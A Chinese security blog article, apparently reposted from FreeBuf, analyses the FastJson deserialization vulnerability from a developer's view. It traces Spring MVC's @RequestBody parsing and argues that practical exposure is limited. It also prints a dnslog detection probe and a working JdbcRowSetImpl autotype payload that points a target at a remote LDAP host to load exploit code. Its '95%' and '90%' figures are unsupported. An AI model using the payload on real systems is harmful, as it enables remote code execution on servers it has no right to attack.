那些FastJson漏洞不为人知的事情(开发角度)
2020-12-25 12:43:32 Author: www.freebuf.com(查看原文) 阅读量:179 收藏

前言

在FastJson<=1.2.24漏洞公布时我还是一个开发,对于这个消息我震撼至极,那时的FastJson的热度可谓如日中天。但是,对FastJson漏洞复现过后突然心就被伤了,那些把FastJson漏洞吹的捧上神坛的人是否真的知道他的影响程度?

概述

本文将从漏洞运用所依赖的条件怎么样发现此漏洞漏洞产生的原理跟踪,以及评价这个漏洞四个维度去分析。

漏洞运用所依赖的条件

之所以先将这个模块是为了先泼大家一盆冷水,先降低大家人对FastJson漏洞的影响程度的认知。

众所周知

1.FastJson<=1.2.47是利用的先决条件

2.其二是

JSON.parseObject(text2);

但是,满足第二个条件的难度你真的知道嘛?

我们编辑的POC在前端与后端进行交互的包中,意味着在后端拿到请求参数时进行JSON.parseObject(参数)进行参数的json转换。下面上代码

1608862950_5fe54ce67bf8593056d88.png!small?1608862952751

只有满足这样的条件,也就是在后端拿到用户请求的参数时,将其使用FastJson提供的JSON.parseObject(参数)这个API进行json格式化的时候才会产生我们所说的反序列化漏洞。

那么达成这个漏洞到底难不难?

真的很难,甚至是不可能。

因为现在Java开发的框架是SSM(Spring+SpringMvc+Mybatis),这一点不清楚的可以看我之前的文章了解。那么在访问层我们使用到的就是SpringMvc这个框架。做过开发的朋友都知道,SpringMVC提供了一个专门用于参数进行json格式化的注解叫做

@RequestBody

这个参数就是为了请求参数到达访问层时框架将其进行json格式化

所以实际的情况是这样的

1608863309_5fe54e4d177b1e9d41720.png!small?1608863310512

相信很多朋友还会问,真的没有人采用第一种写法去写嘛?设问,采用框架的目的就在于方便快捷的开发,引入框架但是舍本逐末是为什么呢,如果开发中采用第一种写法肯定会被项目经理骂的,这一点无可厚非。

我说一个数据,市面上百分之95以上的Java程序员都不会第一种方式进行编写。

接下来我的想法是@RequestBody这个注解到底是怎么进行json格式化的

1608863827_5fe5505399f3733ff638d.png!small?1608863831069

1608863841_5fe55061b3d564e854d4b.png!small?1608863845549

我追溯了整套它的解析流程,下面我只放上最核心的代码

@RequestMapping(包括@GetMapping@PostMapping等)注释修饰的接口请求会用该类处理。RequestMappingHandlerAdapter实现了AbstractHandlerMethodAdapter,所以mv = ha.handle(processedRequest, response, mappedHandler.getHandler());实际上调用的是AbstractHandlerMethodAdapter类的handle()方法:

@Override
    @Nullable
    public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler)
            throws Exception {
        return handleInternal(request, response, (HandlerMethod) handler);
    }

这里又调用了handleInternal()方法,RequestMappingHandlerAdapter重写了该方法:
进入该方法,

if (this.synchronizeOnSession) {
            HttpSession session = request.getSession(false);
            if (session != null) {
                Object mutex = WebUtils.getSessionMutex(session);
                synchronized (mutex) {
                    mav = invokeHandlerMethod(request, response, handlerMethod);
                }
            }
            else {
                // No HttpSession available -> no mutex necessary
                mav = invokeHandlerMethod(request, response, handlerMethod);
            }
        }
        else {
            // No synchronization on session demanded at all...
            mav = invokeHandlerMethod(request, response, handlerMethod);
        }

可以看到最终调用的都是invokeHandlerMethod()方法,此方法会处理@RequestMapping修饰的请求

protected ModelAndView invokeHandlerMethod(HttpServletRequest request,
            HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {

        ServletWebRequest webRequest = new ServletWebRequest(request, response);
        try {
            WebDataBinderFactory binderFactory = getDataBinderFactory(handlerMethod);
            ModelFactory modelFactory = getModelFactory(handlerMethod, binderFactory);

            ServletInvocableHandlerMethod invocableMethod = createInvocableHandlerMethod(handlerMethod);
            //注意,此处往ServletInvocableHandlerMethod中设置了一系列的参数解析器
            if (this.argumentResolvers != null) {
                invocableMethod.setHandlerMethodArgumentResolvers(this.argumentResolvers);
            }
            if (this.returnValueHandlers != null) {
                invocableMethod.setHandlerMethodReturnValueHandlers(this.returnValueHandlers);
            }
            invocableMethod.setDataBinderFactory(binderFactory);
            invocableMethod.setParameterNameDiscoverer(this.parameterNameDiscoverer);

            ModelAndViewContainer mavContainer = new ModelAndViewContainer();
            mavContainer.addAllAttributes(RequestContextUtils.getInputFlashMap(request));
            modelFactory.initModel(webRequest, mavContainer, invocableMethod);
            mavContainer.setIgnoreDefaultModelOnRedirect(this.ignoreDefaultModelOnRedirect);

            AsyncWebRequest asyncWebRequest = WebAsyncUtils.createAsyncWebRequest(request, response);
            asyncWebRequest.setTimeout(this.asyncRequestTimeout);

            WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
            asyncManager.setTaskExecutor(this.taskExecutor);
            asyncManager.setAsyncWebRequest(asyncWebRequest);
            asyncManager.registerCallableInterceptors(this.callableInterceptors);
            asyncManager.registerDeferredResultInterceptors(this.deferredResultInterceptors);

            if (asyncManager.hasConcurrentResult()) {
                Object result = asyncManager.getConcurrentResult();
                mavContainer = (ModelAndViewContainer) asyncManager.getConcurrentResultContext()[0];
                asyncManager.clearConcurrentResult();
                if (logger.isDebugEnabled()) {
                    logger.debug("Found concurrent result value [" + result + "]");
                }
                invocableMethod = invocableMethod.wrapConcurrentResult(result);
            }
            //具体请求处理方法
            invocableMethod.invokeAndHandle(webRequest, mavContainer);
            if (asyncManager.isConcurrentHandlingStarted()) {
                return null;
            }

            return getModelAndView(mavContainer, modelFactory, webRequest);
        }
        finally {
            webRequest.requestCompleted();
        }
    }

进入该方法的invocableMethod.invokeAndHandle(webRequest, mavContainer);,来到ServletInvocableHandlerMethod,此类继承了InvocableHandlerMethod,可以处理请求的返回值。invokeAndHandle()方法:

public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer,
            Object... providedArgs) throws Exception {

        Object returnValue = invokeForRequest(webRequest, mavContainer, providedArgs);
        setResponseStatus(webRequest);

        if (returnValue == null) {
            if (isRequestNotModified(webRequest) || getResponseStatus() != null || mavContainer.isRequestHandled()) {
                mavContainer.setRequestHandled(true);
                return;
            }
        }
        else if (StringUtils.hasText(getResponseStatusReason())) {
            mavContainer.setRequestHandled(true);
            return;
        }

        mavContainer.setRequestHandled(false);
        Assert.state(this.returnValueHandlers != null, "No return value handlers");
        try {
            this.returnValueHandlers.handleReturnValue(
                    returnValue, getReturnValueType(returnValue), mavContainer, webRequest);
        }
        catch (Exception ex) {
            if (logger.isTraceEnabled()) {
                logger.trace(getReturnValueHandlingErrorMessage("Error handling return value", returnValue), ex);
            }
            throw ex;
        }
    }

1608863947_5fe550cbec6e1acd4ebef.png!small?1608863948350

HttpMessageConverter是在RequestMappingHandlerAdapter中设置解析器的时候添加到每个解析器中的。而json格式的数据使用AbstractJackson2HttpMessageConverter进行解析,内部使用jackson进行json数据的解析。

小结:分析到这里的一瞬间我惊了,这个注解既然底层实际使用的是jsckson这个方式,意味着如果jackson爆出漏洞或将影响百分之90多的Java站点

怎么样发现此漏洞

从上文中我们得到的消息,再结合我之前的文章,其实发现这个漏洞很简单。

1.当我们拿到一个Java源码时,首先查阅Maven对方是否引用Fastjson包并且依赖的版本。

1608864462_5fe552ce03e9acd8475de.png!small?1608864468387

2.在访问层,也就是我之前所说的controller层

1608864710_5fe553c674236f6726985.png!small?1608864712349直接祭上我们的idea搜索大法确定包名为Controller并且其中存在JSON.parseObject()方法的地方。

然后找到网上复现fastjson漏洞的方法,dnslog验证存在。

1608867577_5fe55ef986fe2fe5f1b17.png!small?1608867578104

1608867634_5fe55f3259ef77b9ff798.png!small?1608867634832

小结:maven确定版本<=1.2.47+Controller包下 使用快捷键Ctrl+Shift+R 搜索JSON.parseObject关键字快速发现

漏洞原理跟踪

网上的大佬们总结分析了很多原理的问题,这篇文章其实主要是讲产生场景的问题,但是作为一个分析FastJson的文章 我觉得这一环必不可少,我就挑重点去讲讲吧。

因为Fastjson提供了autotype这个东西,在进行json解析时会自动根据要解析的类名解析成要解析的实际对象,我们使用dnslog验证这个漏洞存在,仔细查看poc会发现1608865401_5fe55679af7dc6820868c.png!small?1608865403343

type类型指定为

java.net.Inet4Address

这个类就是java用来提供icmp服务类,也就是ping类

然后值为相应的要被ping的地址

redbtz.dnslog.cn

如果目标地址被ping说明服务解析成功

那造成远程代码执行的原因也同理

{
  "name": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "x": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://192.168.214.137:9999/Exploit",
    "autoCommit": true
  }
}

将服务解析成远程调用,从而造成了远程代码执行。

这部分我会在后续文章详细讲解java中的远程命令执行,也就是rmi

小结: 因为autotype的事情造成了漏洞形成的原因,所以在后续多次爆出fastjson高版本还能进行远程命令执行的多半实在autotype上下手,比如默认关闭了autotype,比如做了黑名单校验,比如后续的重点变为如何绕过黑名单。

评价这个漏洞

回归文章开头说的,这个漏洞被炒得如日中天,却很少有人能用这个漏洞造成rce,根本原因还是这个漏洞的利用条件与实际应用场景不符。这个漏洞的闹剧应该在我这篇文章给大家一个结果,与其说是fastjson的漏洞不如说是JSON.parseObject()与@RequestBody两个方法之间我们到底用了谁,答案很显而易见,当然是后者,我们引用框架的目的就是为了快捷开发,这点SpingMVC做的比fastjson好,开发者也不会舍本逐末。

完结:

在前面多个文章发出来也是我从开发转安全找工作的一个阶段,后续停更了很长时间,也是因为我的私人原因我深表歉意。感谢很多读者给我介绍了很多工作,我目前就职地就不说了,怕官方觉得我营销号不给我发奖金。在接下来的时间内我会一直持续更新,也希望读者关注我,关注我的专辑1608866295_5fe559f711595009512f8.png!small?1608866296106

谢谢大家,下期见~


文章来源: https://www.freebuf.com/articles/web/258827.html
如有侵权请联系:admin#unsafe.sh